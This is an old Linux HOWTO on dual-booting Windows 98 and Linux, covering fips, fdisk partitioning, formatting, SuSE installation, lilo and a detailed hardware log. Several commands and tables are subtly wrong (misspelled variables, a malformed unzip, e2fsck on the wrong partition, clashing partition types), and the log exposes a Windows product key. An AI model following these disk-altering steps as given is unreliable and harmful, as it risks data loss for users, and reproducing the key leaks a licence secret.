    a second operating system on a shared disk, it must be split into at least two partitions, since Windows and some linux distributions will not tolerate another operating system on the same partition.

    Tom Software is normally stored distributed across the disk partition. Before splitting a partition, all the data must be moved to the start of the partition, so that when the partition is split, the old software and data won't be lost. Tom warns Lisa, Nancy, and especially Oscar that compacting is not reversible. If the partition is error-free, no active files will be lost, but disconnected (deleted) files may be lost. If the partition has errors, tools exist that can often (but not always) recover disconnected files before compaction. After compacting , the disconnected files are probably unrecoverable.

    The fips included in tomsrtbt-1.6.335 is 0.9e and Tom has used it directly with Windows 95. Windows98 requires fips-2.0 or later which (at press time) was not included in the archived tomsrtbt distributions.

    Nancy is unafamiliar with open source code and the Internet, so Tom offers to create her fips disk.

    1. Download fips-2.0 and expand in the directory $FIPSROOT

      2. (This may require privelege depending on Tom's linux configuration)
      (The address will probably change by the time you read this.)
      bash> FIPSROOT=/opt/packages/fips-2.0
      bash> mkdir -p $FIPSROOT/original
      bash> cd $FIPSROOT/original
      bash> wget 'ftp://sunsite.icm.edu.pl/pub/Linux/sunsite.unc.edu/system/installl/fips-2.0.zip'
      bash> cd $PIPSROOT
      bash> unzip -d oritinal/fips-2.0.zip
    2. Insert and mount the startup disk from Nancy.

      3. (This may require priveleges depending on Tom's linux configuration)
      bash> mkdir -p /floppy
      bash> mount -t vfat /dev/fd0 /floppy
    3. Follow the instructions for fips. At press time, this means copy 3 files to the startup disk.

      4. bash> cp restorrb.exe fips.exe errors.txt /floppy
    4. Unmoun the floppy and return it to Nancy.

      5. bash> umount /floppy
    Nancy Nancy's new machine was delivered preloaded with Windows 98 on a single partition occupying the entire disk. The installation was already compact, but Nancy used scandisk and defrag anyway just to be safe. When splitting the partition with fips, it warns that the physical partition length does not equal the logical partitin length. Tom explains that this is expected since her disk has more than 1024 cylinders. Tom suggests that Nancy record the current partition info in case it is needed to recover from a disaster. Following Tom's suggestion, Nancy reduces the first partition to approximately 30% of the total disk size.
    1. Create a statup disk and give it to Tom.

      2. [Start] [Settings...\Control Panel] [[Add/Remove Programs] [Startup Disk] [Create Disk ...]
    2. Verify that the disk has no detectible errors.

      3. (There may still be hiddent errors.)
      [[My Computer] {(C:\)} [Properties ...] [Tools] [Error-checking status\Check now ...] [Type of test\Thorough] [Start]
      Fis any errors reported.
    3. Defragment the disk to remove blank areas and deleted files.

      4. [[My computer] {(C:\)} [Properties ...] [Tools] [Defragmentation status\Defragment now ...]
    4. Insert the fips startup disk from Tom and restart the computer.

      5. [Start] [Shutdown...] [Restart] [OK]
    5. When the computer reboots, split the partition.

      6. A:\> fips
      Save current partition info: yes
      New partition start: 501
    Table of Contents

    Repartition

    A normal linux installation requires at least two partitions. It usually improves performance to more partitions. Most bioses support no more than 4 primary partitions.

    Tom Tom recommends that the disk be divided into 4 partitions.

    1. ~33% Windows bootable

      2. Windows requires residency on the first primary partition
    2. ~33% linux bootable

      3. On most computers, bootable partitions must reside entirely below 1024 cylinders.
    3. ~64M swap

      4. A filesystem optimized for memory caching improves performance.
    4. ~33% data

      5. The last partition may be used by either or both operating systems if is compartible.
    The Windows bootable partition must be one of the filesystems supported by Windows. Likewise the linux bootable partition must be one of the filesystems supported by linux. The swap partition must have a filesystem supported by the operating system that will use it. The last partition will be used for data, and can have any filesystm.

    At press time, the above division is safe for most computers.

    Nancy is unafamiliar with open source and the Internet, so Tom lends her one of his diagnostic disks with tomsrtbt..

    tomsrtbt is a small distribution of linux on a single floppy disk that loads into RAM. Since it does not occupy nor run on the hard disk it is superb for situations where the hard disk will be modified (e.g. repartitioning).

    Tom stresses that repartitioning is simple but must be done with meticulous care, since everything else depends on it. Like ignoring a crack in the foundation of a house, partition table errors may not become apparent for a long time, when it will be difficult or impossible to correct.

    Nancy Nancy will be using her system primarily with Windows, so Tom recommends that her data partition use FAT32 From the compoent catalog that Tom prepared for her computer, Nancy knows that her hard disk has 1661 cylinders.

    1. 0001-0501 Windows FAT32 bootable
    2. 0502-1002 linux ext2 bootable
    3. 1003-1011 linux swap
    4. 1012-1661 data FAT32
    Lisa Lisa will be using her system primarily with linux, so her data partition will use ext2 The data partition will then be unavailable to Windows, but will be more easily used from linux. Lisa's hard disk has 787 cylinders.
    1. 0001-0262 Windows FAT32 bootable
    2. 0263-0525 linux ext2 bootable
    3. 0526-0779 linux swap
    4. 0780-0787 data ext2
    Nancy Nancy uses the tomsrtbt disk provided by Tom and fdisk on it to edit her partition table.
    1. Insert the tomsrtbt disk and restart the computer.
    2. Read the fdisk instructions and list of known partition types

      3. bash> /bin/fdisk
      fdisk> m
      fdisk> l
    3. Read and record the partition table

      4. (After fips, her disk has two partitions.)
      fdisk> p
    4. Since her disk has more than 1024 cylinders, update the cylinder count known to fdisk with an advanced command

      5. fdisk> x
      fdisk expert> c 1661
      fdisk expert> r
    5. Delete the 2nd partition which was created by fips.

      6. fdisk> d
      ... partition[1-2]? 2
    6. Add the new 2nd partition for linux

      7. fdisk> n
      ... partition ...? 2
      ... extended ... primary ... type? p
      ... start ...? 502
      ... end ...? 1002
    7. Add the new 3rd partition for swap

      8. fdisk> n
      ... partition ...? 3
      ... extended ... primary ... type? p
      ... start ...? 1003
      ... end ...? 1011
    8. Add the new 4th partition for data

      9. fdisk> n
      ... partition ...? 4
      ... extended ... primary ... type? p
      ... start ...? 1012
      ... end ...? 1661
    9. Reprint the partition table and check carefully for errors.

      10. (delete and add the partitions if there are any errors)
      fdisk> p
    10. Set the type (filesystem to be used) on each partition.

      11. fdisk> t
      ... partition ...? 2
      ... type ...? 83
      fdisk> t
      ... partition ...? 3
      ... type ...? 82
      fdisk> t
      ... partition ...? 4
      ... type ...? 0c
    11. Record and repriint the partition table and check carefully for errors.
    12. If unsatisfied quit.

      13. fdisk> q
    13. If satisfied, write the partition table.

      14. fdisk> w
    Nancy records the new partition table in her computer log.
      Disk /dev/hda: 255 heads, 63 sectors, 1661 cylinders
      Units = cylinders of 16085 * 512 bytes

      Drive Boot Start End Blocks Id System
      /dev/hda1 * 1 501 402451+ 0c Win95 FAT32 (LBA)
      /dev/hda2 502 1002 402482 83 Linux Native
      /dev/hda3 1003 1011 72292 82 Linux Swap
      /dev/hda4 1012 1661 5221125 83 Linux Native

    Table of Contents

    Format

    In order to use any hard disk effectively, it must be formatted. After formating, whther successful or not, all the old data in that partition is lost (the cost of recovery goes up 10-100x).

    Tom Tom warns that Formatting is the only operation that is neither idempotent nor reversible. The tool provided by the intended operating system should be used to format the partitions intended for that partition. Use format under Windows to format FAT32 partitions. Use

    Nancy Nancy formats the data partition under Windows.

    1. Restart the computer in Windows
    2. Format the partition

      3. [[My Computer]] {(D:)} [Format ...] [Format type\Full] [Start]
    Nancy uses the tomsrtbt disk provided by Tom to format the linux and swap partitions under linux.
    1. Insert the tomsrtbt disk and restart
    2. Check for bad blocks and format the linux partition.

      3. bash> mke2fs -c /dev/hda2
    3. Check the filesystem

      4. bash> e2fsck /dev/hda2
    4. Check for bad blocks and make the swap file system

      5. bash> mkswap -c /dev/hda3
    Lisa (untested) Lisa formats only linux partitions using tomsrtbt in the same manner as Nancy.
    1. Insert the tomsrtbt disk and restart
    2. Check for bad blocks and format the linux partition.

      3. bash> mke2fs -c /dev/hda2
    3. Check the filesystem

      4. bash> e2fsck /dev/hda2
    4. Check for bad blocks and make the swap file system

      5. bash> mkswap -c /dev/hda3
    5. Check for bad blocks and make the data partition

      6. bash> mke2fs -c /dev/hda4
    6. Check the filesystem

      7. bash> e2fsck /dev/hda2
    Table of Contents

    Initial Program Load

    Now is when the operating system(s) becomes a part ot the computer. All prior steps laid the foundation. This is the first time when the detail and accuracy of the catalog will be especially useful. Follow the installation instructions provided with your distribution. This HOWTO does not detail how to load the distribution because the distribution instructions will provide the best instructions.

    Tom Though linux is available at no cost,Tom recommends purchasing a distribution with hardcopy instructions and support tools.. The price of a good distribution is well worth it. In Tom's opinion, asking friends is the best way to choose a linux distribution. A distribution that satisfies your friends with similar interests will probably satisfy you.

    Tom knows that Nancy got a newly released graphics card with which he has no experience. He warns Nancy that the X configuration may not work. When she calls him, he uses the expert options of yast which tell him that though her card is not listed by manufacturer and model it used the mach64 X server. Now familiar with yast, Nancy installs the mach64 x server and removes the svga X server. Tom stays to talk Nancy through X installation. Nancy's monitor is not named in the configuration list, but with the model known from the catalog, a quick visit to the manufacturer's website provides the scan rate limits.

    Tom knows that the configurability of linux frightens many new users and so he has often recommended RedHat to first-time users because of its commercial technical support and default configuration settings. He lets Nancy know that though she should try to consider each question before answering, she need fear a mistake because she can reverse almost any configuration decision later. Most packages managment tools offer to load and save configurations files (e.g. /etc/linuxrc).

    • Keep a list of the configuration questions and each answer to them.
    • When in doubt, add a package to linux, and note that it was in doubt.
    • A month after installation, go back and remove any packages that you haven't used, and log the removal.
    • Expect to discover some linux configuration errors by loss.
    • Change the linux configuration when you find that it is different from your desires.
    • When in doubt, do not add a package to Windows.
    Tom knows that some differences between Windows and linux force some compromises.
    • Set the hardware clock to local time.
      • Windows displays time, timestamps file operations, and synchronizes with the netowrk from the same clock.
      • Linux uses separate clocks for each of these. On a linux only system, the hardware clock is usually set to UTC (Universal Time Coordinate), the network standard. The network and file operations clock are usually just views of the hardware clock by linux. For display, linux usually shifts the hardware clock according to the timezone and date.
      • Since Windows supports only one clock, you must decide (unless you live in Greenwich England) whether to set the hardware clock to local time or UTC.
      • If you use UTC, you will have to mentally convert the time displayed by Windows to local time.
      • If you use local time, some network activity may become confused. International email problems are most commonly reported. Mail sent from Berlin at 1300 local time may be stored a second later in New York at 1200 UTC where it awaits a channel to its San Francisco destination. To save space, the New York host may delete mail that could not be sent in a reasonable time of 30min. If the Berlin mail was unclear that ti was sent at 1300 Berlin time, or if the New York host is unwilling to do the conversion, the email may be lost as undliverable after 1 hour (1300 - 1200).
    Nancy Since Nancy is an accountant, Tom recommends that she use the SuSE distribution. SuSE comes with the ApplixWare suite of office software. Nancy has already read the installation chapters of the book that accompanied her SuSE distribution. yast from SuSE lets her store her configuration choices in a file which she includes in her computer log.
    1. Nancy makes sure she has the catalog (and Tom's phone number) handy.
    2. She inserts the SuSE CDROM and reboots the computer.

      3. She selects installation options (English, Color, ...)
    3. She examines the hardware detected for her system and confirms that it matches her own catalog.

      4. Both the hard disk and CD-RW were detected.
      Both the sound and graphics cards were detected.
      Both the PCI and USB buses were detected.
    4. Following the instructions from SuSE, she starts YaST, the system configuration tool.
    5. Already partitions, Nancy declines YaST's offer to repartition her disk.
    6. Already formatted by Windows, Nancy declines YaST's offer to format her Window's partitions.
    7. Though already formatted, Nancy accepts the offer to reformat her swap and linux partitions.
    8. Set the mount points for the partitions.

      9. [CREATING FILESYSTEMS]
      /dev/hda1     no    vfat /WinC Win95 FAT32
      /dev/hda2 ... check ext2 /     Linux
      /dev/hda4     no    vfat /WinD Win95 FAT32
    9. Nancy now selects the packages she wants.
      1. Nancy includes the nonstandard packages that she knows she wants (e.g. CD writing).
      2. Nancy excludes the standard packages that she knows she doesn't want (e.g. tape drive support).
      3. Nancy selects packagas for her specific hardware (e.g. X server) using her catalog.
      4. She indicates that the hardware clock is set to local time.
    10. Nancy saves a copy of her configuration and puts in her log.
    Lisa (uc) This subsection of this HOWTO is not yet written.

    Table of Contents

    Boot Manager Load

    If you have two or more operating systems on a computer, you must have a means of selecting which operating system is loaded.

    Tom Before installing a boot manager, Tom recommends that Nancy and Lisa make a boot disk (and master boot record backup). He also recommends that each test their boot disks before installing the boot manager. This is done so that the computer can be booted and the master boot record restored to the hard disk if the boot manager installation fails

    Because of its configurability and robustness, Tom recommends lilo to most users.. Most linux distributions support multiple linux versions on the same partition. This means that you can install and test an upgrade to the operating system without the trouble of a lengthy reinstallation. When the upgrade is satisfactory (or not) you can remove versions no longer useful.

    Nancy During installation, SuSE offers to make a boot disk, and master boot record backup, before installing lilo.

    1. Create a rescue floppy.

      2. [CREATE A BOOT DISK?/YES]
    2. Nancy write-protects the disk and puts in her log.
    3. Nancy installs lilo

      4. [LILO INSTALLATION ...]
      Windows /dev/hda1
      SuSE    /dev/hda2 /boot/vmlinuz
    Lisa Windows installation overwrites the master boot record with one that loads Windows. After installing Windows, Lisa must reinstall lilo. To make this easier she uses loalin under Windows to load her existing linux and then uses linus to configure and install lilo..

    Table of Contents

    Mount

    Oscar Nancy Lisa (uc) This subsection of this HOWTO is not yet written.

    Table of Contents

    Choices

    Architecture

    The following is a summary of the architecture choices that you should consider. Your choice will probably depend most on your compuer expertise level, value of existing data, and expected division of usage between Windows and linux.
    Separate for linux and Windows | Shared by linux and Windows | Support | Pros | Cons
 | address space | Not Supported. Windows must be the only operating system in its partition. |  |
address space | partition | Not covered by this HOWTO. VMWare under Windows | No need to disturb the current configuration. Linux can be loaded on the emulated system. | linux is slow.
address space | partition | Not covered by this HOWTO. VMWare under linux | No need to disturb the current configuration. (unverified) Windows can be loaded on the emulated system. | Windows is slow
address space | partition | Not covered by this HOWTO. DosLinux | No need to disturb the current configuration. |
address space | partition | Not covered by this HOWTO. Armed distribution (unverified) | No need to disturb the current configuration. |
partition | disk | Windows requires that Windows reside in the first primary partition | Nancy Lisa Works with standard mail-order home computers from the major dealers. | Requires more installation effort.
disk | host |  | Oscar Minimizes risk to existing system and data. Requires less installation effort. | Normally requires a second computer and extra disks.
host | network | Not covered by this HOWTO. Classes, books, and online help is readily available. | Minimizes installation effort. | Requires at least two computers equipped with network interface cards. Data is not directly available to the other operating system.

    Table of Contents

    Filesystems

    Your choice of filesystem is usually constrained by the hard disk manufacturer, your choice of Windows version, and your choice of linux distribution.
    Type | Code | Support | Description
DOS6 | 0x06 | Windows 95 Windows 98 Windows NT linux | IBM DOS default filesystem Names limited to eight characters + 3 character type
NTFS | 0x07 | Windows NT linux read-only | Windows NT default filesystem Names have arbitrary length Names cannot include special characters
FAT32 LBA | 0x0c | Windows 95 Windows 98 Windows NT linux | Windows95/98 default filesystem Names have arbitrary length Names cannot inlcude special characters
swap | 0x82 | linux | linex default memory cache filesystem
ext2 | 0x83 | linux | linux default filesystem Names have arbitrary length Names can contain arbitrary characters Tends to suffer little external fragmentation. Scales well over several magnitudes of size. Runs quickly on semirandom access systems.

    Table of Contents

    Linux Distribution

    Your choice of distribution will depend mostly on friends' recommendations, your level of computer expertise, and easy availability of packages. Most distributions will happily reside on the same disk, so there is no reason not to try several distributions until you find the one that is best for you.
    Distro | Publisher | Source | Pros | Cons
RedHat | Red Hat, Inc. | http://www.redhat.com/ | Easy to install. Home-user-friendly Commercial support available Large number of bundled packages. Tolerates unbundled packages. | Does not tolerate multiple versins on same partition.
Slackware | Walnut Creek CDROM | http://www.slackware.org/ | Largest number of bundled packages. Professional-user-friendly Easiest software development New packages most often appear here first. Tolerates unbundled packages Tolerates multiple versions on same partition | Moderate computer expertise required.
SuSE | SuSE Gmbh | http://www.suse.com/ | Easy to install. Business-user-friendly Aimed at business users Commercial support available Tolerates unbundled packages. Tolerates multiple versions on same partition |

    Table of Contents

    Backup Tools

    Tool | Requirements | Description
Norton Ghost | Windows 95/98/NT network drive | Easy to use Makes and restores images of disks or partitions. No selection or deselection of files/directories. No index generated.
tob | linux tape drive | Easy to use Easy to configure Selects or deselects files/directories to backup or restore Generates index of backups searchable to find archived files
yast (untested) | backup tool | Graphical interface for system administration tools Included with SuSE linux

    Table of Contents

    Compaction Tools

    Tool | Requirements | Description
fips | Windows95 Included in tomsrtbt-1.6.335 | Splits a FAT16 or FAT32 partition into two partitions without destroying data so that the new partition can be loaded with a d different operating system
fips | Windows98 Windows98 requires at least version 2.0 Run under Windows98 | Splits a FAT16 or FAT32 partition into two partitions without destroying data so that the new partition can be loaded with a d different operating system

    Table of Contents

    Repartitioning Tools

    Tool | Requirements | Description
fdisk | Included in tomsrtbt-1.6.335 | Supports editting of a partition table. Two-tiered menu system. The first level includes read and normal operations. The second level lets you fix inconsistencies.
fdisk | Included with Windows 95 and Windows 98 | Does not permit creattion of partitios associated with filesystems not supported by Wirdows, nor selecting a bootable partition other than the first primary partition.
yast (untested) | backup tool | Graphical interface for system administration tools Included with SuSE linux

    Table of Contents

    Formatting Tools

    Tool | Requirements | Description
e2fsck | Included in tomsrtbt-1.6.335 | Checks an ext2 filesystem for errors
format | Included with Windows 95 and Windows 98 | Creates a vfat filesystem on a chosen partition
mke2fs | Included in tomsrtbt-1.6.335 | Creates an ext2 filesystem on a chosen partition.
mkswap | Included in tomsrtbt-1.6.335 | Creates a swap filesystem on a chosen partition.

    Table of Contents

    Boot Managers

    Tool | Requirements | Description
lilo | linux | Configures which operating system is booted. lilo itself if very robust and configurable. Some care is required, since lilo is usually used to overwrite the master boot record, lest one carelessly loose the ability to boot Windows automatically.
loadlin (uc) | Windws 95 or 98 | Started from Windows in dos mode. (Can be placed as shortcut in Windows) Replaces linux with Windows in memory. Since loadlin does not overwrite the master boot record, a failed installation should not be able to risk Windows.

    Table of Contents

    Actual Experiences

    Adding linux to New Computer Preloaded with Windows 98

    Tom Nancy is unfamiliar with keeping a log, so Tom prepared it for her as he unboxed and assembled her new computer. tom also knows that it is far easier to remove the computer case once and record all the model numbers, chipsets, and model types than it is to later open the case to get a single model number or to guess the information that will be later needed. During the computer service life, only 10% of the numbers collected will ever be used, but there is no easy way to predict which 10%.

    Nancy The following is an extract from Nancy's log. Identidation numbers have been changed and some irrelevant data has been removed. Most of the data came from the invoice that accomapanied the computer and the specifications [Start\Run...\] Open: c:\DELL\DOCS\EDOCS.EXE [OK] that were provided on the computer.

    Configuration

    A hardcopy of critical portions of this information, master disks, and backup disks is kept in a white binder, located physically close to this host, labelled
    Nancy System Administration Log.

    Hardware

    Date | Bay or Slot | Contents
1999-10-21 | Primary Hard Disk Bay | Hard Disk
1999-10-21 | Secondary Hard Disk Bay | empty
1999-10-21 | Diskette Drive Bay | Floppy Disk
1999-10-21 | Drive Cage Top 5.25" Bay | CD Writer
1999-10-21 | Drive Cage Bottom 5.25" Bay | empty
1999-10-21 | Drive Cage Top 3.5" Bay | empty
1999-10-21 | Drive Cage Bottom 3.5" Bay | empty
1999-10-21 | Dimm Socket Bank 0 | RAM
1999-10-21 | Dimm Socket Bank 1 | empty
1999-10-21 | Dirmm Socket Bank 2 | empty
1999-10-21 | Primary EIDE Bus | Hard Disk
1999-10-21 | Secondary EIDE Bus | CD Writer
1999-10-21 | ISA Expansion Slot | empty
1999-10-21 | PCI Expansion Slot 1 | empty
1999-10-21 | PCI Expansion Slot 2 | Modem
1999-10-21 | PCI Expansion Slot 3 | empty
1999-10-21 | PCI Expansion Slot 4 | Sound
1999-10-21 | PCI Expansion Slot 5 | empty
1999-10-21 | AGP Port | Graphics
    Date | Component | Action
1999-10-21 | Case | Tower Mfr Dell Model Dimension XPS Txxx M/N MMS Mfr Date mmddyy P/N 01968D Rev A04 S/N nnnaa DP/N 000338D Rev A00 DS/N xxxxx-xxx-xxxx FCC Class B
1999-10-21 | Dell Dimension XPS Txxx Refrence and Troubleshooting Guide | Mfr Dell Model MMS P/N 8868D Rev. A01
1999-11-03 | Central Procssing Unit | procssor: 0 vendor_id: GenuineIntel cpu family: 6 (Pentium III) model: 7 model name: 00/07 stepping: 3 cpu MHZ: 448.971025 cache size: 512 KB fdiv_bug: no hlt_bug: no sep_fug: no f00f_bug: no coma_bug: no fpu: yes fpu_exception: yes cpuid level: 2 wp: yes flags: fpu vme de pse tsc msr pae mce cx8 sep mtrr pge mca cmov pat bogomips: 447.28 FCC Class B
1999-10-21 | System Battery | CR2032 3.0V
1999-10-21 | System Board | DP/N AA722396-109 Rev. A01 S/N xxxxxxxx-xxxxx-xxx-xxxx FCC Class B
1999-10-21 | Hard Disk | Primary Hard Disk Bay Primary EIDE Bus FCC Class B Capacity 13.6 GB RPM 7200RPM LBA 26.712.000 SECTORS CYL 1661 DeskStar Mfr IBM Disk Storage Products KFT. Model DPTA-371360 IDE/ATA MLC F42312 P/N 31L9151 DP/N 0003570T-47710-9A2-31TJ Rev A00
1999-10-21 | Floppy Disk | Diskette Drive Bay FCC Class B Mfr Sony Model MPF920 S/N xxxxxxxx DP/N 0003884D Rev A00 DS/N xxxxx-xxx-xxxx
1999-10-21 | CD Writer | Drive Cage Top "5.25" Bay Secondary EIDE Bus FCC Class B Jumpers Reserved Reserved R Audio Out Gnd Gnd L Audio Out CSEL (closed) SLAVE (open) MASTER (open) ATAPI Cable (40-pin keyed) Power Supply (IBM 4-pin) CDR 4x CDRW 4x Read 24x Mfr Sony Model CD-R/RW ATAPI M/N CRX100E S/N xxxxxx DP/N 0002064P Rev A00 DS/N xxxxx-xxx-xxxx
1999-10-21 | RAM | Dimm Socket Bank 0 FCC Class B 16Mx 64 MB SDRAM Non-ECC PC100-222-620 168-pin Mfr Toshiba M/N THMY6416H1EG-A0 S/N xxxxxx/xxxxxxx
1999-10-21 | Modem | PCI Expansion Slot 2 J8 -> Sound Telephone Audio Out FCC Class B 56K See CD 3Com U.S.Robotics Modem CD-ROM USRobotics V.90/56K Model 0727 Mfr 3Com Product 3CP3298-DEL SN xxxxxxxxxxxx DP/N 00046XVP Rev A00 DS/N xxxxx-xxx-xxxx
1999-10-21 | Sound | Montego II PCI Expansion Slot 4 CD IN -> CD Writer Audio Out TAO -> Modem J8 FCC Class B Mfr Turtle Beach Model A3D 320V DP/N 0005931D Rev A00 DS/N xxxxx-xxx-xxxx
1999-10-21 | Graphics | AGP Port FCC Class B Mfr ATI Technologies Inc P/N 1024980311010171 S/N xxxxxxxxxxxxxxxxxxxxxxxxxx. DP/N 0000320D Rev A00 DS/N xxxxx-xxx-xxxx
1999-10-21 | Power Supply | FCC Class B DP/N 0009228C Rev N02 DS/N xxxxx-xxx-xxxx
1999-10-21 | Monitor | FCC Class B 17" (15.3" visible) Color 1024x768 See CD Displays by Dell Ultrascan P780 Color Monitor Mfr Dell Computer, Inc. Model UltraScan P780 P/N 6271R S/N xxxxxxxxxxx
1999-10-21 | Speakers | Right Analog Input -> Sound ((( ))) FCC Class B Mfr Harmon/Kardon Right M/N HK195 Right P/N 3862A201 Right DP/N ZL001-98U Rev B Right DS/N xxxxx-xx Left M/N HK195 Left DP/N ZL001-98URev B Left DS/N xx-xx Adapter M/N A41411C Adapter P/N HK195-01T Adapter Input 60Hz 22W Adapter Output 15VAC 1.1A
1999-10-21 | Keyboard | QuietKey PS/2 Keyboard Connector FCC Class B Mfr Dell DP/N 0004939R Rev A00 DS/N xxxxx-xxx-xxxx
1999-10-21 | Mouse | MS IntelliMouse PS/2 Mouse Connector FCC Class B Mfr Microsoft Inc. Model IntelliMouse 1.1A PS/2 S/N xxxxxxxxx DP/N 03235E Rev A00
1999-10-21 | Microphone | -> Sound Mic In FCC Class B

    Bios

    Date | Component | Action
1999-10-21 | Setup Procedure | Restart When Dell splash screen appears, [<del>] Dell Dimension XPS T450 Setup
1999-10-21 | Main\BIOS Version | A05
1999-10-21 | Main\Processor Type | Pentium(R) III
1999-10-21 | Main\processor Speed | 450 MHz
1999-10-21 | Main\Cache RAM | 512KB
1999-10-21 | Main\Service Tag | zzzzz
1999-10-21 | Main\System memory | 128 MB
1999-10-21 | Main\L2 Cache ECC Support | Auto
1999-10-21 | Advanced\Peripheral Configuration\Plug & Play O/S | No
1999-10-21 | Advanced\Peripheral Configuration\Reset Configuration Data | No
1999-10-21 | Advanced\Peripheral Configuration\NumLock | Auto
1999-10-21 | Advanced\Peripheral Configuration\Serial Port A | Auto
1999-10-21 | Advanced\Peripheral Configuration\Parallel Port | Auto
1999-10-21 | Advanced\Peripheral Configuration\Mode | ECP
1999-10-21 | Advanced\Peripheral Configuration\Legacy USB Support | Enabled
1999-10-21 | Advanced\IDE Configuration\IDE Controller | Both
1999-10-21 | Advanced\IDE Configuration\Primary IDE Master | IBM-DPTA-371360-(PM)
1999-10-21 | Advanced\IDE Configuration\Primary IDE Slave | None
1999-10-21 | Advanced\IDE Configuration\Secondary IDE Master | CD-RW CRX100E- (SM)
1999-10-21 | Advanced\IDE Configuration\Secondary IDE Slave | None
1999-10-21 | Advanced\Diskette Options\Diskette Controller | Enabled
1999-10-21 | Advanced\Diskette Options\Diskette A | 1.44/1.25 MB 3.5"
1999-10-21 | Advanced\Diskette Options\Diskette Write Protect | Disabled
1999-10-21 | Advanced\DMI Event Logging\Event log capacity | Space Available
1999-10-21 | Advanced\DMI Event Logging\Event log validity | Valid
1999-10-21 | Advanced\DMI Event Logging\View DMI event log | No unread events
1999-10-21 | Advanced\DMI Event Logging\Clear all DMI event logs | No
1999-10-21 | Advanced\DMI Event Logging\DMI event logging | Enabled
1999-10-21 | Advanced\DMI Event Logging\Mark DMI events as read | No unread events
1999-10-21 | Advanced\Video Configuration\ISA Palette Snooping | Disabled
1999-10-21 | Advanced\Video Configuration\AGP Aperature Size | 64MB
1999-10-21 | Advanced\Video Configuration\Default Primary Video Adapter | AGP
1999-10-21 | Advanced\Resource Configuration\C800-CBFF | Available
1999-10-21 | Advanced\Recource Configuration\CC00-CFFF | Available
1999-10-21 | Advanced\Recource Configuration\4000-43FF | Available
1999-10-21 | Advanced\Recource Configuration\4400-47FF | Available
1999-10-21 | Advanced\Recource Configuration\4800-4BFF | Available
1999-10-21 | Advanced\Recource Configuration\4C00-4FFF | Available
1999-10-21 | Advanced\Recource Configuration\IRQ 3 | Available
1999-10-21 | Advanced\Recource Configuration\IRQ 4 | Available
1999-10-21 | Advanced\Recource Configuration\IRQ 5 | Reserved
1999-10-21 | Advanced\Recource Configuration\IRQ 7 | Available
1999-10-21 | Advanced\Recource Configuration\IRQ 10 | Available
1999-10-21 | Advanced\Recource Configuration\IRQ 11 | Available
1999-10-21 | Power\Power Management | Enabled
1999-10-21 | Power\Inactivity Timer | Off
1999-10-21 | Power\Hard Drive | Enabled
1999-10-21 | Power\VESA Video Power Down | Standby
1999-10-21 | Boot\Boot-time Diagnostic Screen | Disabled
1999-10-21 | Boot\QuickBoot Mode | Disabled
1999-10-21 | Boot\First Boot Device | Removable Devices
1999-10-21 | Boot\Second Boot Device (obsolete) | Hard Disk
1999-10-22 | Boot\Second Boot Device | ATAPI CD-ROM Driv
1999-10-21 | Boot\Third Boot Device (obsolete) | ATAPI CD-ROM Driv
1999-10-21 | Boot\Third Boot Device | Hard Disk
1999-10-21 | Boot\Fourth Boot Device | Network Drive
1999-10-21 | Boot\Hard Drive\1 | IBM-DPTA-371360-(PM)
1999-10-21 | Boot\Hard Drive\2 | Bootable Add-In Card
1999-10-21 | Boot\Removable Devices\1 | Legacy Floppy Drive

    Firmware

    Date
    Component
    Action
    1999-10-21 Partition Table tomsrtbt-1.6.335 (linux-2.0.35)
    bash>/bin/fdisk
    fdisk> p
    Disk /dev/hda: 255 heads, 63 sectors, 1024 cylinders
    Units = cylinders of 16085 * 512 bytes

    Drive Boot Start End Blocks Id System
    /dev/hda1 * 1 1662 13349983+ 0c Win95 FAT32 (LBA)

    Partition has different physical/logical endings
    phys = (1022, 254, 63) logical = (1661, 254, 63)

    1999-10-22 Partition Table Windows98 Startup Disk +fips.exe
    A:\> fips
    (Ignore warning about physical != logical length)
    Save current partition info: yes
    (saved as rootboot.000)
    New partition start: 501

    tomsrtbt-1.6.335 (linux-2.0.35)
    bash>/bin/fdisk -v
    fips Version 2.8
    bash>/bin/fdisk
    fdisk> p
    Disk /dev/hda: 255 heads, 63 sectors, 1661 cylinders
    Units = cylinders of 16085 * 512 bytes

    Drive Boot Start End Blocks Id System
    /dev/hda1 * 1 501 402451+ 0c Win95 FAT32 (LBA)
    /dev/hda2 502 1002 402482 83 Linux Native
    /dev/hda3 1003 1011 72292 82 Linux Swap
    /dev/hda4 1012 1661 5221125 83 Linux Native

    1999-10-21 Windows Operating System DESC KIT,DOC/DSK,W98,OSR1,ENG

    Language English (United States)
    Keyboard United States 101
    First and Middle Jo'an K.
    Last Name Meier
    Country Code United States of America
    Area Code 336
    Access Code No
    Touch Tone Yes
    Time Zone (GMT-05:00) United States Eastern
    Daylight Savings Time Automatic

    Mfr Microsoft
    Model Windows98 2nd Ed
    Product Key G74XD-KMV7J-XJC3X-PYBG6-DHPP6
    S/N xxxxxxxxxx
    DP/N 08001T Rev. A00

    1999-11-03 linux Operating System SuSE-6.2.0-2

    reboot CDROM1
    linuxrc v0.91 (kernel 2.2.10)

    linuxrc> ... language ... English
    ... display ...? Color display
    ... keyboard ... English (US)
    Main menu
    System Information
    Harddisks / CD-ROMS
    (Hard Disk and CD-ROM found)
    Processor
    (no bugs)
    Start Installation / System
    Start Installation
    Source: CD-ROM

    Yast v1. 01
    Install Linux from scratch
    [SELECT SWAP PARTITION] /dev/hda3
    ... format ... yes
    [PARTITION HARDDRIVES/Do not Partition]
    CREATING FILESYSTEMS:
    /dev/hda1     no    vfat /WinC Win95 FAT32
    /dev/hda2 ... check ext2 /     Linux
    /dev/hda4     no    vfat /WinD Win95 FAT32
    Create/Change Configuration
    Xserver = svga (otherwise unrecognized)
    [SELECT KERNEL/Standard (E)IDE Kernel]

    1999-11-05 | Root password | In sealed envelope in hardcopy log.
    1999-11-05 | X11 | XFree86-3.3.4
    1999-11-05 X11 mouse bash> yast
    [System Administration/X86 Configuration/SaX]
    [Mouse]
    Vendor: Microsoft
    Name: Intellimouse PS/2
    Port: PS/2
    Buttons: 3
    [Expert]
    Protocol: IMPS/2
    Device: /dev/psaux
    [OK]
    [Apply]
    1999-11-05 X11 keyboard bash> yast
    [System Administration/X86 Configuration/SaX]
    [Keyboard]
    Model: Dell 101-key PC
    Language: U.S. English
    [Apply]
    1999-11-05 X11 Graphics Card bash> yast
    [System Administration/X86 Configuration/SaX]
    [Card]
    Vendor: ATI
    Model: XPERT98
    [Expert]
    Server: XF86_mach64
    Memory: 8192k
    DAC: 207
    [Apply]
    1999-11-05 | X11
    1999-11-05 TimeZone EST5EDT

    Hardware Clock set to local time

